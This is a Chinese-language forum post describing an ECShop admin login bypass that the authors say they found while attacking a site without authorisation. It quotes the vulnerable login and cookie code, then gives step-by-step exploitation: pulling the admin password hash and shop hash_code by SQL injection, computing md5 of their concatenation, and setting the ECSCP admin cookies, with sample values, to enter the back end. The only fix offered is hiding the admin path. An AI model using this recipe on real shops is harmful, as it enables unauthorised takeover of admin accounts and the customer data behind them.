这个漏洞是我们在进行非授权安全评估时候发现的。是一个ecshop的站,通过以往的0day爆出了管理员密码,无奈解不开。。。于是就想,有没有可能将密文md5存入cookie中登陆。
当然,上面假想的问题是不存在的,但是我们发现确实有类似的漏洞存在。只需要注入读取数据库的管理员加密密文和hashcode就可以登陆后台了。
确实不知道该怎么定性这个漏洞,我们认为cookie验证不严这个名字不错。
大概过程就是,ecshop注入漏洞注入出来的管理员密码解不开,我们通过密文和数据库其他标段信息构造cookie可以成功登陆。我们来详细看这个漏洞:
漏洞发生的原因是cookie验证不严。我们先来看一下验证登陆的地方:
-
if(!empty($ec_salt))
-
{
-
/* 检查密码是否正确 */
-
$sql = "SELECT user_id, user_name, password, last_login, action_list, last_login,suppliers_id,ec_salt".
-
" FROM " . $ecs->table('admin_user') .
-
" WHERE user_name = '" . $_POST['username']. "' AND password = '" . md5(md5($_POST['password']).$ec_salt) . "'";
-
}
-
else
-
{
-
/* 检查密码是否正确 */
-
$sql = "SELECT user_id, user_name, password, last_login, action_list, last_login,suppliers_id,ec_salt".
-
" FROM " . $ecs->table('admin_user') .
-
" WHERE user_name = '" . $_POST['username']. "' AND password = '" . md5($_POST['password']) . "'";
-
}
复制代码
如果没有salt就只是单层md5加密(后来验证其实有salt和无salt根本不影响这个漏洞的形成)..然后这里
-
setcookie('ECSCP[admin_id]', $row['user_id'], $time);
-
setcookie('ECSCP[admin_pass]', md5($row['password'] . $_CFG['hash_code']), $time);
复制代码
我们发现只要md5过的密码加上hash_code就是admin_pass了,hashcode在这可以查询出来(比方说注入)...
-
$hash_code = $db->getOne("SELECT value FROM " . $ecs->table('shop_config') . " WHERE code='hash_code'");
复制代码
语句等于是
-
SELECT value FROM ecs_shop_config WHERE code='hash_code'
-
复制代码
获得hashcode:31693422540744c0a6b6da635b7a5a93
08f2b116f18517707ba870ef19af706f + 31693422540744c0a6b6da635b7a5a93
将上述信息md5之,得到:78F528C52BB214FFA5E489E7A1DCCE93
登陆成功~
1、通过注入得到管理员的用户名及32位密码,想进入后台,但是32位的密码破解不出来,08f2b116f18517707ba870ef19af706f
2、利用注入从ecs_shop_config得到hashcode: 31693422540744c0a6b6da635b7a5a93
3、把管理员hash和hashcode连接到一直再进行md5加密也就是md5(08f2b116f18517707ba870ef19af706f31693422540744c0a6b6da635b7a5a93)得到的md5值为78F528C52BB214FFA5E489E7A1DCCE93
4、修改你的本地cookie:ECSCP[admin_id]=1; ECSCP[admin_pass]=78F528C52BB214FFA5E489E7A1DCCE93;ECSCP_ID=b5a19c09952c8d1b09a97a89f48df8d1575f1dd1 即可进入后台。
修补方法,隐藏后台。
感谢支持